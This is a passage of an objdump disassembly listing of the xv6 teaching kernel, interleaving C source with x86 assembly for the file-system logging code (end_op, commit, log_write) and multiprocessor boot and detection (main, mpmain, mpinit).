80102bb8 <begin_op+0x18> // this op might exhaust log space; wait for commit. sleep(&log, &log.lock); } else { log.outstanding += 1; release(&log.lock); 80102bef: 83 ec 0c sub $0xc,%esp log.outstanding += 1; 80102bf2: a3 bc 26 11 80 mov %eax,0x801126bc release(&log.lock); 80102bf7: 68 80 26 11 80 push $0x80112680 80102bfc: e8 cf 18 00 00 call 801044d0 <release> break; } } } 80102c01: 83 c4 10 add $0x10,%esp 80102c04: c9 leave 80102c05: c3 ret 80102c06: 8d 76 00 lea 0x0(%esi),%esi 80102c09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102c10 <end_op>: // called at the end of each FS system call. // commits if this was the last outstanding operation. void end_op(void) { 80102c10: 55 push %ebp 80102c11: 89 e5 mov %esp,%ebp 80102c13: 57 push %edi 80102c14: 56 push %esi 80102c15: 53 push %ebx 80102c16: 83 ec 18 sub $0x18,%esp int do_commit = 0; acquire(&log.lock); 80102c19: 68 80 26 11 80 push $0x80112680 80102c1e: e8 ed 17 00 00 call 80104410 <acquire> log.outstanding -= 1; 80102c23: a1 bc 26 11 80 mov 0x801126bc,%eax if(log.committing) 80102c28: 8b 35 c0 26 11 80 mov 0x801126c0,%esi 80102c2e: 83 c4 10 add $0x10,%esp log.outstanding -= 1; 80102c31: 8d 58 ff lea -0x1(%eax),%ebx if(log.committing) 80102c34: 85 f6 test %esi,%esi log.outstanding -= 1; 80102c36: 89 1d bc 26 11 80 mov %ebx,0x801126bc if(log.committing) 80102c3c: 0f 85 1a 01 00 00 jne 80102d5c <end_op+0x14c> panic("log.committing"); if(log.outstanding == 0){ 80102c42: 85 db test %ebx,%ebx 80102c44: 0f 85 ee 00 00 00 jne 80102d38 <end_op+0x128> // begin_op() may be waiting for log space, // and decrementing log.outstanding has decreased // the amount of reserved space. wakeup(&log); } release(&log.lock); 80102c4a: 83 ec 0c sub $0xc,%esp log.committing = 1; 80102c4d: c7 05 c0 26 11 80 01 movl $0x1,0x801126c0 80102c54: 00 00 00 release(&log.lock); 80102c57: 68 80 26 11 80 push $0x80112680 80102c5c: e8 6f 18 00 00 call 801044d0 <release> } static void commit() { if (log.lh.n > 0) { 80102c61: 8b 0d c8 26 11 80 mov 0x801126c8,%ecx 80102c67: 83 c4 10 add $0x10,%esp 80102c6a: 85 c9 test %ecx,%ecx 80102c6c: 0f 8e 85 00 00 00 jle 80102cf7 <end_op+0xe7> struct buf *to = bread(log.dev, log.start+tail+1); // log block 80102c72: a1 b4 26 11 80 mov 0x801126b4,%eax 80102c77: 83 ec 08 sub $0x8,%esp 80102c7a: 01 d8 add %ebx,%eax 80102c7c: 83 c0 01 add $0x1,%eax 80102c7f: 50 push %eax 80102c80: ff 35 c4 26 11 80 pushl 0x801126c4 80102c86: e8 45 d4 ff ff call 801000d0 <bread> 80102c8b: 89 c6 mov %eax,%esi struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102c8d: 58 pop %eax 80102c8e: 5a pop %edx 80102c8f: ff 34 9d cc 26 11 80 pushl -0x7feed934(,%ebx,4) 80102c96: ff 35 c4 26 11 80 pushl 0x801126c4 for (tail = 0; tail < log.lh.n; tail++) { 80102c9c: 83 c3 01 add $0x1,%ebx struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102c9f: e8 2c d4 ff ff call 801000d0 <bread> 80102ca4: 89 c7 mov %eax,%edi memmove(to->data, from->data, BSIZE); 80102ca6: 8d 40 5c lea 0x5c(%eax),%eax 80102ca9: 83 c4 0c add $0xc,%esp 80102cac: 68 00 02 00 00 push $0x200 80102cb1: 50 push %eax 80102cb2: 8d 46 5c lea 0x5c(%esi),%eax 80102cb5: 50 push %eax 80102cb6: e8 15 19 00 00 call 801045d0 <memmove> bwrite(to); // write the log 80102cbb: 89 34 24 mov %esi,(%esp) 80102cbe: e8 dd d4 ff ff call 801001a0 <bwrite> brelse(from); 80102cc3: 89 3c 24 mov %edi,(%esp) 80102cc6: e8 15 d5 ff ff call 801001e0 <brelse> brelse(to); 80102ccb: 89 34 24 mov %esi,(%esp) 80102cce: e8 0d d5 ff ff call 801001e0 <brelse> for (tail = 0; tail < log.lh.n; tail++) { 80102cd3: 83 c4 10 add $0x10,%esp 80102cd6: 3b 1d c8 26 11 80 cmp 0x801126c8,%ebx 80102cdc: 7c 94 jl 80102c72 <end_op+0x62> write_log(); // Write modified blocks from cache to log write_head(); // Write header to disk -- the real commit 80102cde: e8 bd fd ff ff call 80102aa0 <write_head> install_trans(); // Now install writes to home locations 80102ce3: e8 18 fd ff ff call 80102a00 <install_trans> log.lh.n = 0; 80102ce8: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8 80102cef: 00 00 00 write_head(); // Erase the transaction from the log 80102cf2: e8 a9 fd ff ff call 80102aa0 <write_head> acquire(&log.lock); 80102cf7: 83 ec 0c sub $0xc,%esp 80102cfa: 68 80 26 11 80 push $0x80112680 80102cff: e8 0c 17 00 00 call 80104410 <acquire> wakeup(&log); 80102d04: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) log.committing = 0; 80102d0b: c7 05 c0 26 11 80 00 movl $0x0,0x801126c0 80102d12: 00 00 00 wakeup(&log); 80102d15: e8 16 12 00 00 call 80103f30 <wakeup> release(&log.lock); 80102d1a: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102d21: e8 aa 17 00 00 call 801044d0 <release> 80102d26: 83 c4 10 add $0x10,%esp } 80102d29: 8d 65 f4 lea -0xc(%ebp),%esp 80102d2c: 5b pop %ebx 80102d2d: 5e pop %esi 80102d2e: 5f pop %edi 80102d2f: 5d pop %ebp 80102d30: c3 ret 80102d31: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi wakeup(&log); 80102d38: 83 ec 0c sub $0xc,%esp 80102d3b: 68 80 26 11 80 push $0x80112680 80102d40: e8 eb 11 00 00 call 80103f30 <wakeup> release(&log.lock); 80102d45: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102d4c: e8 7f 17 00 00 call 801044d0 <release> 80102d51: 83 c4 10 add $0x10,%esp } 80102d54: 8d 65 f4 lea -0xc(%ebp),%esp 80102d57: 5b pop %ebx 80102d58: 5e pop %esi 80102d59: 5f pop %edi 80102d5a: 5d pop %ebp 80102d5b: c3 ret panic("log.committing"); 80102d5c: 83 ec 0c sub $0xc,%esp 80102d5f: 68 a4 74 10 80 push $0x801074a4 80102d64: e8 27 d6 ff ff call 80100390 <panic> 80102d69: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102d70 <log_write>: // modify bp->data[] // log_write(bp) // brelse(bp) void log_write(struct buf *b) { 80102d70: 55 push %ebp 80102d71: 89 e5 mov %esp,%ebp 80102d73: 53 push %ebx 80102d74: 83 ec 04 sub $0x4,%esp int i; if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80102d77: 8b 15 c8 26 11 80 mov 0x801126c8,%edx { 80102d7d: 8b 5d 08 mov 0x8(%ebp),%ebx if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80102d80: 83 fa 1d cmp $0x1d,%edx 80102d83: 0f 8f 9d 00 00 00 jg 80102e26 <log_write+0xb6> 80102d89: a1 b8 26 11 80 mov 0x801126b8,%eax 80102d8e: 83 e8 01 sub $0x1,%eax 80102d91: 39 c2 cmp %eax,%edx 80102d93: 0f 8d 8d 00 00 00 jge 80102e26 <log_write+0xb6> panic("too big a transaction"); if (log.outstanding < 1) 80102d99: a1 bc 26 11 80 mov 0x801126bc,%eax 80102d9e: 85 c0 test %eax,%eax 80102da0: 0f 8e 8d 00 00 00 jle 80102e33 <log_write+0xc3> panic("log_write outside of trans"); acquire(&log.lock); 80102da6: 83 ec 0c sub $0xc,%esp 80102da9: 68 80 26 11 80 push $0x80112680 80102dae: e8 5d 16 00 00 call 80104410 <acquire> for (i = 0; i < log.lh.n; i++) { 80102db3: 8b 0d c8 26 11 80 mov 0x801126c8,%ecx 80102db9: 83 c4 10 add $0x10,%esp 80102dbc: 83 f9 00 cmp $0x0,%ecx 80102dbf: 7e 57 jle 80102e18 <log_write+0xa8> if (log.lh.block[i] == b->blockno) // log absorbtion 80102dc1: 8b 53 08 mov 0x8(%ebx),%edx for (i = 0; i < log.lh.n; i++) { 80102dc4: 31 c0 xor %eax,%eax if (log.lh.block[i] == b->blockno) // log absorbtion 80102dc6: 3b 15 cc 26 11 80 cmp 0x801126cc,%edx 80102dcc: 75 0b jne 80102dd9 <log_write+0x69> 80102dce: eb 38 jmp 80102e08 <log_write+0x98> 80102dd0: 39 14 85 cc 26 11 80 cmp %edx,-0x7feed934(,%eax,4) 80102dd7: 74 2f je 80102e08 <log_write+0x98> for (i = 0; i < log.lh.n; i++) { 80102dd9: 83 c0 01 add $0x1,%eax 80102ddc: 39 c1 cmp %eax,%ecx 80102dde: 75 f0 jne 80102dd0 <log_write+0x60> break; } log.lh.block[i] = b->blockno; 80102de0: 89 14 85 cc 26 11 80 mov %edx,-0x7feed934(,%eax,4) if (i == log.lh.n) log.lh.n++; 80102de7: 83 c0 01 add $0x1,%eax 80102dea: a3 c8 26 11 80 mov %eax,0x801126c8 b->flags |= B_DIRTY; // prevent eviction 80102def: 83 0b 04 orl $0x4,(%ebx) release(&log.lock); 80102df2: c7 45 08 80 26 11 80 movl $0x80112680,0x8(%ebp) } 80102df9: 8b 5d fc mov -0x4(%ebp),%ebx 80102dfc: c9 leave release(&log.lock); 80102dfd: e9 ce 16 00 00 jmp 801044d0 <release> 80102e02: 8d b6 00 00 00 00 lea 0x0(%esi),%esi log.lh.block[i] = b->blockno; 80102e08: 89 14 85 cc 26 11 80 mov %edx,-0x7feed934(,%eax,4) 80102e0f: eb de jmp 80102def <log_write+0x7f> 80102e11: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102e18: 8b 43 08 mov 0x8(%ebx),%eax 80102e1b: a3 cc 26 11 80 mov %eax,0x801126cc if (i == log.lh.n) 80102e20: 75 cd jne 80102def <log_write+0x7f> 80102e22: 31 c0 xor %eax,%eax 80102e24: eb c1 jmp 80102de7 <log_write+0x77> panic("too big a transaction"); 80102e26: 83 ec 0c sub $0xc,%esp 80102e29: 68 b3 74 10 80 push $0x801074b3 80102e2e: e8 5d d5 ff ff call 80100390 <panic> panic("log_write outside of trans"); 80102e33: 83 ec 0c sub $0xc,%esp 80102e36: 68 c9 74 10 80 push $0x801074c9 80102e3b: e8 50 d5 ff ff call 80100390 <panic> 80102e40 <mpmain>: } // Common CPU setup code. static void mpmain(void) { 80102e40: 55 push %ebp 80102e41: 89 e5 mov %esp,%ebp 80102e43: 53 push %ebx 80102e44: 83 ec 04 sub $0x4,%esp cprintf("cpu%d: starting %d\n", cpuid(), cpuid()); 80102e47: e8 74 09 00 00 call 801037c0 <cpuid> 80102e4c: 89 c3 mov %eax,%ebx 80102e4e: e8 6d 09 00 00 call 801037c0 <cpuid> 80102e53: 83 ec 04 sub $0x4,%esp 80102e56: 53 push %ebx 80102e57: 50 push %eax 80102e58: 68 e4 74 10 80 push $0x801074e4 80102e5d: e8 fe d7 ff ff call 80100660 <cprintf> idtinit(); // load idt register 80102e62: e8 a9 29 00 00 call 80105810 <idtinit> xchg(&(mycpu()->started), 1); // tell startothers() we're up 80102e67: e8 d4 08 00 00 call 80103740 <mycpu> 80102e6c: 89 c2 mov %eax,%edx xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 80102e6e: b8 01 00 00 00 mov $0x1,%eax 80102e73: f0 87 82 a0 00 00 00 lock xchg %eax,0xa0(%edx) scheduler(); // start running processes 80102e7a: e8 21 0c 00 00 call 80103aa0 <scheduler> 80102e7f: 90 nop 80102e80 <mpenter>: { 80102e80: 55 push %ebp 80102e81: 89 e5 mov %esp,%ebp 80102e83: 83 ec 08 sub $0x8,%esp switchkvm(); 80102e86: e8 75 3a 00 00 call 80106900 <switchkvm> seginit(); 80102e8b: e8 e0 39 00 00 call 80106870 <seginit> lapicinit(); 80102e90: e8 9b f7 ff ff call 80102630 <lapicinit> mpmain(); 80102e95: e8 a6 ff ff ff call 80102e40 <mpmain> 80102e9a: 66 90 xchg %ax,%ax 80102e9c: 66 90 xchg %ax,%ax 80102e9e: 66 90 xchg %ax,%ax 80102ea0 <main>: { 80102ea0: 8d 4c 24 04 lea 0x4(%esp),%ecx 80102ea4: 83 e4 f0 and $0xfffffff0,%esp 80102ea7: ff 71 fc pushl -0x4(%ecx) 80102eaa: 55 push %ebp 80102eab: 89 e5 mov %esp,%ebp 80102ead: 53 push %ebx 80102eae: 51 push %ecx kinit1(end, P2V(4*1024*1024)); // phys page allocator 80102eaf: 83 ec 08 sub $0x8,%esp 80102eb2: 68 00 00 40 80 push $0x80400000 80102eb7: 68 a8 54 11 80 push $0x801154a8 80102ebc: e8 2f f5 ff ff call 801023f0 <kinit1> kvmalloc(); // kernel page table 80102ec1: e8 0a 3f 00 00 call 80106dd0 <kvmalloc> mpinit(); // detect other processors 80102ec6: e8 75 01 00 00 call 80103040 <mpinit> lapicinit(); // interrupt controller 80102ecb: e8 60 f7 ff ff call 80102630 <lapicinit> seginit(); // segment descriptors 80102ed0: e8 9b 39 00 00 call 80106870 <seginit> picinit(); // disable pic 80102ed5: e8 46 03 00 00 call 80103220 <picinit> ioapicinit(); // another interrupt controller 80102eda: e8 41 f3 ff ff call 80102220 <ioapicinit> consoleinit(); // console hardware 80102edf: e8 dc da ff ff call 801009c0 <consoleinit> uartinit(); // serial port 80102ee4: e8 57 2c 00 00 call 80105b40 <uartinit> pinit(); // process table 80102ee9: e8 32 08 00 00 call 80103720 <pinit> tvinit(); // trap vectors 80102eee: e8 9d 28 00 00 call 80105790 <tvinit> binit(); // buffer cache 80102ef3: e8 48 d1 ff ff call 80100040 <binit> fileinit(); // file table 80102ef8: e8 63 de ff ff call 80100d60 <fileinit> ideinit(); // disk 80102efd: e8 fe f0 ff ff call 80102000 <ideinit> // Write entry code to unused memory at 0x7000. // The linker has placed the image of entryother.S in // _binary_entryother_start. code = P2V(0x7000); memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); 80102f02: 83 c4 0c add $0xc,%esp 80102f05: 68 8a 00 00 00 push $0x8a 80102f0a: 68 8c a4 10 80 push $0x8010a48c 80102f0f: 68 00 70 00 80 push $0x80007000 80102f14: e8 b7 16 00 00 call 801045d0 <memmove> for(c = cpus; c < cpus+ncpu; c++){ 80102f19: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax 80102f20: 00 00 00 80102f23: 83 c4 10 add $0x10,%esp 80102f26: 05 80 27 11 80 add $0x80112780,%eax 80102f2b: 3d 80 27 11 80 cmp $0x80112780,%eax 80102f30: 76 71 jbe 80102fa3 <main+0x103> 80102f32: bb 80 27 11 80 mov $0x80112780,%ebx 80102f37: 89 f6 mov %esi,%esi 80102f39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi if(c == mycpu()) // We've started already. 80102f40: e8 fb 07 00 00 call 80103740 <mycpu> 80102f45: 39 d8 cmp %ebx,%eax 80102f47: 74 41 je 80102f8a <main+0xea> continue; // Tell entryother.S what stack to use, where to enter, and what // pgdir to use. We cannot use kpgdir yet, because the AP processor // is running in low memory, so we use entrypgdir for the APs too. stack = kalloc(); 80102f49: e8 72 f5 ff ff call 801024c0 <kalloc> *(void**)(code-4) = stack + KSTACKSIZE; 80102f4e: 05 00 10 00 00 add $0x1000,%eax *(void(**)(void))(code-8) = mpenter; 80102f53: c7 05 f8 6f 00 80 80 movl $0x80102e80,0x80006ff8 80102f5a: 2e 10 80 *(int**)(code-12) = (void *) V2P(entrypgdir); 80102f5d: c7 05 f4 6f 00 80 00 movl $0x109000,0x80006ff4 80102f64: 90 10 00 *(void**)(code-4) = stack + KSTACKSIZE; 80102f67: a3 fc 6f 00 80 mov %eax,0x80006ffc lapicstartap(c->apicid, V2P(code)); 80102f6c: 0f b6 03 movzbl (%ebx),%eax 80102f6f: 83 ec 08 sub $0x8,%esp 80102f72: 68 00 70 00 00 push $0x7000 80102f77: 50 push %eax 80102f78: e8 03 f8 ff ff call 80102780 <lapicstartap> 80102f7d: 83 c4 10 add $0x10,%esp // wait for cpu to finish mpmain() while(c->started == 0) 80102f80: 8b 83 a0 00 00 00 mov 0xa0(%ebx),%eax 80102f86: 85 c0 test %eax,%eax 80102f88: 74 f6 je 80102f80 <main+0xe0> for(c = cpus; c < cpus+ncpu; c++){ 80102f8a: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax 80102f91: 00 00 00 80102f94: 81 c3 b0 00 00 00 add $0xb0,%ebx 80102f9a: 05 80 27 11 80 add $0x80112780,%eax 80102f9f: 39 c3 cmp %eax,%ebx 80102fa1: 72 9d jb 80102f40 <main+0xa0> kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers() 80102fa3: 83 ec 08 sub $0x8,%esp 80102fa6: 68 00 00 00 8e push $0x8e000000 80102fab: 68 00 00 40 80 push $0x80400000 80102fb0: e8 ab f4 ff ff call 80102460 <kinit2> userinit(); // first user process 80102fb5: e8 56 08 00 00 call 80103810 <userinit> mpmain(); // finish this processor's setup 80102fba: e8 81 fe ff ff call 80102e40 <mpmain> 80102fbf: 90 nop 80102fc0 <mpsearch1>: } // Look for an MP structure in the len bytes at addr. static struct mp* mpsearch1(uint a, int len) { 80102fc0: 55 push %ebp 80102fc1: 89 e5 mov %esp,%ebp 80102fc3: 57 push %edi 80102fc4: 56 push %esi uchar *e, *p, *addr; addr = P2V(a); 80102fc5: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi { 80102fcb: 53 push %ebx e = addr+len; 80102fcc: 8d 1c 16 lea (%esi,%edx,1),%ebx { 80102fcf: 83 ec 0c sub $0xc,%esp for(p = addr; p < e; p += sizeof(struct mp)) 80102fd2: 39 de cmp %ebx,%esi 80102fd4: 72 10 jb 80102fe6 <mpsearch1+0x26> 80102fd6: eb 50 jmp 80103028 <mpsearch1+0x68> 80102fd8: 90 nop 80102fd9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102fe0: 39 fb cmp %edi,%ebx 80102fe2: 89 fe mov %edi,%esi 80102fe4: 76 42 jbe 80103028 <mpsearch1+0x68> if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 80102fe6: 83 ec 04 sub $0x4,%esp 80102fe9: 8d 7e 10 lea 0x10(%esi),%edi 80102fec: 6a 04 push $0x4 80102fee: 68 f8 74 10 80 push $0x801074f8 80102ff3: 56 push %esi 80102ff4: e8 77 15 00 00 call 80104570 <memcmp> 80102ff9: 83 c4 10 add $0x10,%esp 80102ffc: 85 c0 test %eax,%eax 80102ffe: 75 e0 jne 80102fe0 <mpsearch1+0x20> 80103000: 89 f1 mov %esi,%ecx 80103002: 8d b6 00 00 00 00 lea 0x0(%esi),%esi sum += addr[i]; 80103008: 0f b6 11 movzbl (%ecx),%edx 8010300b: 83 c1 01 add $0x1,%ecx 8010300e: 01 d0 add %edx,%eax for(i=0; i<len; i++) 80103010: 39 f9 cmp %edi,%ecx 80103012: 75 f4 jne 80103008 <mpsearch1+0x48> if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 80103014: 84 c0 test %al,%al 80103016: 75 c8 jne 80102fe0 <mpsearch1+0x20> return (struct mp*)p; return 0; } 80103018: 8d 65 f4 lea -0xc(%ebp),%esp 8010301b: 89 f0 mov %esi,%eax 8010301d: 5b pop %ebx 8010301e: 5e pop %esi 8010301f: 5f pop %edi 80103020: 5d pop %ebp 80103021: c3 ret 80103022: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103028: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 8010302b: 31 f6 xor %esi,%esi } 8010302d: 89 f0 mov %esi,%eax 8010302f: 5b pop %ebx 80103030: 5e pop %esi 80103031: 5f pop %edi 80103032: 5d pop %ebp 80103033: c3 ret 80103034: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010303a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80103040 <mpinit>: return conf; } void mpinit(void) { 80103040: 55 push %ebp 80103041: 89 e5 mov %esp,%ebp 80103043: 57 push %edi 80103044: 56 push %esi 80103045: 53 push %ebx 80103046: 83 ec 1c sub $0x1c,%esp if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){ 80103049: 0f b6 05 0f 04 00 80 movzbl 0x8000040f,%eax 80103050: 0f b6 15 0e 04 00 80 movzbl 0x8000040e,%edx 80103057: c1 e0 08 shl $0x8,%eax 8010305a: 09 d0 or %edx,%eax 8010305c: c1 e0 04 shl $0x4,%eax 8010305f: 85 c0 test %eax,%eax 80103061: 75 1b jne 8010307e <mpinit+0x3e> p = ((bda[0x14]<<8)|bda[0x13])*1024; 80103063: 0f b6 05 14 04 00 80 movzbl 0x80000414,%eax 8010306a: 0f b6 15 13 04 00 80 movzbl 0x80000413,%edx 80103071: c1 e0 08 shl $0x8,%eax 80103074: 09 d0 or %edx,%eax 80103076: c1 e0 0a shl $0xa,%eax if((mp = mpsearch1(p-1024, 1024))) 80103079: 2d 00 04 00 00 sub $0x400,%eax if((mp = mpsearch1(p, 1024))) 8010307e: ba 00 04 00 00 mov $0x400,%edx 80103083: e8 38 ff ff ff call 80102fc0 <mpsearch1> 80103088: 85 c0 test %eax,%eax 8010308a: 89 45 e4 mov %eax,-0x1c(%ebp) 8010308d: 0f 84 3d 01 00 00 je 801031d0 <mpinit+0x190> if((mp = mpsearch()) == 0 || mp->physaddr == 0) 80103093: 8b 45 e4 mov -0x1c(%ebp),%eax 80103096: 8b 58 04 mov 0x4(%eax),%ebx 80103099: 85 db test %ebx,%ebx 8010309b: 0f 84 4f 01 00 00 je 801031f0 <mpinit+0x1b0> conf = (struct mpconf*) P2V((uint) mp->physaddr); 801030a1: 8d b3 00 00 00 80 lea -0x80000000(%ebx),%esi if(memcmp(conf, "PCMP", 4) != 0) 801030a7: 83 ec 04 sub $0x4,%esp 801030aa: 6a 04 push $0x4 801030ac: 68 15 75 10 80 push $0x80107515 801030b1: 56 push %esi 801030b2: e8 b9 14 00 00 call 80104570 <memcmp> 801030b7: 83 c4 10 add $0x10,%esp 801030ba: 85 c0 test %eax,%eax 801030bc: 0f 85 2e 01 00 00 jne 801031f0 <mpinit+0x1b0> if(conf->version != 1 && conf->version != 4) 801030c2: 0f b6 83 06 00 00 80 movzbl -0x7ffffffa(%ebx),%eax 801030c9: 3c 01 cmp $0x1,%al 801030cb: 0f 95 c2 setne %dl 801030ce: 3c 04 cmp $0x4,%al 801030d0: 0f 95 c0 setne %al 801030d3: 20 c2 and %al,%dl 801030d5: 0f 85 15 01 00 00 jne 801031f0 <mpinit+0x1b0> if(sum((uchar*)conf, conf->length) != 0) 801030db: 0f b7 bb 04 00 00 80 movzwl -0x7ffffffc(%ebx),%edi for(i=0; i<len; i++) 801030e2: 66 85 ff test %di,%di 801030e5: 74 1a je 80103101 <mpinit+0xc1> 801030e7: 89 f0 mov %esi,%eax 801030e9: 01 f7 add %esi,%edi sum = 0; 801030eb: 31 d2 xor %edx,%edx 801030ed: 8d 76 00 lea 0x0(%esi),%esi sum += addr[i]; 801030f0: 0f b6 08 movzbl (%eax),%ecx 801030f3: 83 c0 01 add $0x1,%eax 801030f6: 01 ca add %ecx,%edx for(i=0; i<len; i++) 801030f8: 39 c7 cmp %eax,%edi 801030fa: 75 f4 jne 801030f0 <mpinit+0xb0> 801030fc: 84 d2 test %dl,%dl 801030fe: 0f 95 c2 setne %dl struct mp *mp; struct mpconf *conf; struct mpproc *proc; struct mpioapic *ioapic; if((conf = mpconfig(&mp)) == 0) 80103101: 85 f6 test %esi,%esi 80103103: 0f 84 e7 00 00 00 je 801031f0 <mpinit+0x1b0> 80103109: 84 d2 test %dl,%dl 8010310b: 0f 85 df 00 00 00 jne 801031f0 <mpinit+0x1b0> panic("Expect to run on an SMP"); ismp = 1; lapic = (uint*)conf->lapicaddr; 80103111: 8b 83 24 00 00 80 mov -0x7fffffdc(%ebx),%eax 80103117: a3 7c 26 11 80 mov %eax,0x8011267c for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 8010311c: 0f b7 93 04 00 00 80 movzwl -0x7ffffffc(%ebx),%edx 80103123: 8d 83 2c 00 00 80 lea -0x7fffffd4(%ebx),%eax ismp = 1; 80103129: bb 01 00 00 00 mov $0x1,%ebx for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 8010312e: 01 d6 add %edx,%esi 80103130: 39 c6 cmp %eax,%esi 80103132: 76 23 jbe 80103157 <mpinit+0x117> switch(*p){ 80103134: 0f b6 10 movzbl (%eax),%edx 80103137: 80 fa 04 cmp $0x4,%dl 8010313a: 0f 87 ca 00 00 00 ja 8010320a <mpinit+0x1ca> 80103140: ff 24 95 3c 75 10 80 jmp *-0x7fef8ac4(,%edx,4) 80103147: 89 f6 mov %esi,%esi 80103149: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p += sizeof(struct mpioapic); continue; case MPBUS: case MPIOINTR: case MPLINTR: p += 8; 80103150: 83 c0 08 add $0x8,%eax for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 80103153: 39 c6 cmp %eax,%esi 80103155: 77 dd ja 80103134 <mpinit+0xf4> default: ismp = 0; break; } } if(!ismp) 80103157: 85 db test %ebx,%ebx 80103159: 0f 84 9e 00 00 00 je 801031fd <mpinit+0x1bd> panic("Didn't find a suitable machine"); if(mp->imcrp){ 8010315f: 8b 45 e4 mov -0x1c(%ebp),%eax 80103162: 80 78 0c 00 cmpb $0x0,0xc(%eax) 80103166: 74 15 je 8010317d <mpinit+0x13d> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80103168: b8 70 00 00 00 mov $0x70,%eax 8010316d: ba 22 00 00 00 mov $0x22,%edx 80103172: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80103173: ba 23 00 00 00 mov $0x23,%edx 80103178: ec in (%dx),%al // Bochs doesn't support IMCR, so this doesn't run on Bochs. // But it would on real hardware. outb(0x22, 0x70); // Select IMCR outb(0x23, inb(0x23) | 1); // Mask external interrupts. 80103179: 83 c8 01 or $0x1,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010317c: ee out %al,(%dx) } } 8010317d: 8d 65 f4 lea -0xc(%ebp),%esp 80103180: 5b pop %ebx 80103181: 5e pop %esi 80103182: 5f pop %edi 80103183: 5d pop %ebp 80103184: c3 ret 80103185: 8d 76 00 lea 0x0(%esi),%esi if(ncpu < NCPU) { 80103188: 8b 0d 00 2d 11 80 mov 0x80112d00,%ecx 8010318e: 83 f9 07 cmp $0x7,%ecx 80103191: 7f 19 jg 801031ac <mpinit+0x16c> cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu 80103193: 0f b6 50 01 movzbl 0x1(%eax),%edx 80103197: 69 f9 b0 00 00 00 imul $0xb0,%ecx,%edi ncpu++; 8010319d: 83 c1 01 add $0x1,%ecx 801031a0: 89 0d 00 2d 11 80 mov %ecx,0x80112d00 cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu 801031a6: 88 97 80 27 11 80 mov %dl,-0x7feed880(%edi) p += sizeof(struct mpproc); 801031ac: 83 c0 14 add $0x14,%eax continue; 801031af: e9 7c ff ff ff jmp 80103130 <mpinit+0xf0> 801031b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi ioapicid = ioapic->apicno; 801031b8: 0f b6 50 01 movzbl 0x1(%eax),%edx p += sizeof(struct mpioapic); 801031bc: 83 c0 08 add $0x8,%eax ioapicid = ioapic->apicno; 801031bf: 88 15 60 27 11 80 mov %dl,0x80112760 continue; 801031c5: e9 66 ff ff ff jmp 80103130 <mpinit+0xf0> 801031ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return mpsearch1(0xF0000, 0x10000); 801031d0: ba 00 00 01 00 mov $0x10000,%edx 801031d5: b8 00 00 0f 00 mov $0xf0000,%eax 801031da: e8 e1 fd ff ff call 80102fc0 <mpsearch1> if((mp = mpsearch()) == 0 || mp->physaddr == 0) 801031df: 85 c0 test %eax,%eax return mpsearch1(0xF0000, 0x10000); 801031e1: 89 45 e4 mov %eax,-0x1c(%ebp) if((mp = mpsearch()) == 0 || mp->physaddr == 0) 801031e4: 0f 85 a9 fe ff ff jne 80103093 <mpinit+0x53> 801031ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi panic("Expect to run on an SMP"); 801031f0: 83 ec 0c sub $0xc,%esp 801031f3: 68 fd 74 10 80 push $0x801074fd 801031f8: e8 93 d1 ff ff call 80100390 <panic> panic("Didn't find a suitable machine"); 801031fd: 83 ec 0c sub $0xc,%esp 80103200: 68 1c 75 10 80 push $0x8010751c 80103205: e8 86 d1 ff ff call 80100390 <panic> ismp = 0; 8010320a: 31 db xor %ebx,%ebx 8010320c: e9 26 ff ff ff jmp 80103137 <mpinit+0xf7> 80103211: 66 90 xchg %ax,%ax 80103213: 66 90 xchg %ax,%ax 80103215: 66 90 xchg %ax,%ax 80103217: 66 90 xchg %ax,%ax 80103219: 66 90 xchg %ax,%ax 8010321b: 66 90 xchg %ax,%ax 8010321d: 66 90 xchg %ax,%ax 8010321f: 90 nop 80103220 <picinit>: #define IO_PIC2 0xA0 // Slave (IRQs 8-15) // Don't use the 8259A interrupt controllers. Xv6 assumes SMP hardware. void picinit(void) { 80103220: 55 push %ebp 80103221: b8 ff ff ff ff mov $0xffffffff,%eax 80103226: ba 21 00 00 00 mov $0x21,%edx 8010322b: 89 e5 mov 